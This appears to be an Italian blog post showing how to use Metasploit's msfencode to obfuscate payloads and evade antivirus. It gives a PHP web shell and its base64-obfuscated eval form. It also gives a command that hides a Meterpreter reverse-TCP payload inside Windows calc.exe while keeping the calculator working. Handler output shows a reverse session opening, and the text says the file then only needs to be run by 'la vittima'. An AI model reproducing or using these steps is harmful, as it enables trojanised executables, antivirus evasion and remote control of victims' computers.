Metasploit consente di codificare un payload oppure un file eseguibile già esistente, e perciò bypassare quasi sempre gli antivirus.
I formati attualmente supportati sono:
The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
Dal 08/19/2010 è possibile codificare anche dll e perciò eseguire attacchi di tipo DLL Hijacking in sicurezza** _._
Una volta codificato l’eseguibile, non basterà altro che farlo eseguire alla vittima.
Prima, però dovremo mettere in ascolto il nostro metasploit.
[Metasploit] multi/handler :D
[*] Started reverse handler on 192.168.1.100:4444
[*] Starting the payload handler...
[*] Sending stage (748032 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.11:1056) ...Esempio:
#cat a.php
<?php
system($_GET['a']);
?>
Dove a.php è il file da codificare e -o è il file in output
cat a.php | ./msfencode -e php/base64 -t raw -o php_encoded.php
Risultato:
eval(base64_decode(".............));
Che penso sia molto meno capibile :D
(per uno che non conosce php altrimenti toglie eval e mette un echo _._ e vede tutto )
MsfEncode, può essere usato anche durante la prova di un exploit.
Basta usare questo comando:
set encoder ENCODER
Gli encoder possiamo visualizzarli eseguendo:
./msfencode -l
Vi lascio a google per altre info oppure al suo help _._
msfencode -h
Un esempio di uso con i suoi payload, potrebbe essere questo:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R | ./msfencode -e x86/shikata_ga_nai -c 5 -x calc.exe -k -t exe -o calc2.exe
Dove l’opzione con l’ozione X possiamo inserire un payload in un file eseguibile già esistente senza modificarne il suo funzionamento, ad esempio nella calcolatrice di windows _._
Pingback: [Metasploit] Bypass Antivirus with msfencode